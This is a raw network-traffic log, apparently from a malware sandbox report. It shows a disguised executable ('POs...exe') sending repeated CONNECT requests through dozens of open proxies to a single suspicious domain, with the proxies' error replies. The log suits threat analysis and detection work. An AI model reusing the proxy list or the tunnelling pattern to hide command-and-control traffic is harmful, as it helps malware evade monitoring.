Mar 11, 2024 16:42:19.027868986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.704098940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.657275915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.688937902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.485816002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.298508883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.173276901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.766714096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.11	50170	41.223.232.117	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.027872086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.274482012 CET	238	IN	HTTP/1.1 403 Forbidden Content-Type: text/html Content-Length: 2149 Date: Mon, 11 Mar 2024 15:42:21 GMT X-Cache: MISS from kwts1-pub X-Cache-Lookup: NONE from kwts1-pub:3128 Via: 1.1 kwts1-pub (squid/4.8) Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.11	50250	45.11.95.165	5034	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.028135061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.750984907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.797939062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.11	50264	91.202.230.219	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.042081118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.11	50389	198.23.229.203	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.049339056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.11	50303	163.172.131.178	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.051959038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.688473940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.563821077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.485645056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.985944033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.503804922 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.11	50437	172.67.14.237	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.055003881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.209996939 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.11	50439	185.238.228.240	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.056876898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.211028099 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.11	50293	162.19.7.56	44195	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.057719946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.379528999 CET	24	IN	HTTP/1.1 403 #string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.11	50380	20.106.146.212	6001	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.065526009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.11	50396	45.196.151.84	5432	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.074836969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.293267965 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.11	50085	111.59.4.88	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.084127903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.110387087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.669682980 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 11, 2024 16:42:23.673957109 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.11	50447	172.67.209.12	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.084857941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.239090919 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.11	50323	173.249.29.243	9123	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.085139990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.405992985 CET	536	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3932 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.11	50451	104.20.103.68	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.091321945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.245801926 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.11	50216	124.163.236.54	7302	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.093878984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.576802969 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.11	50462	104.16.105.142	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.106065989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.260929108 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.11	50321	186.124.164.213	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.106491089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.11	50314	212.31.100.138	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
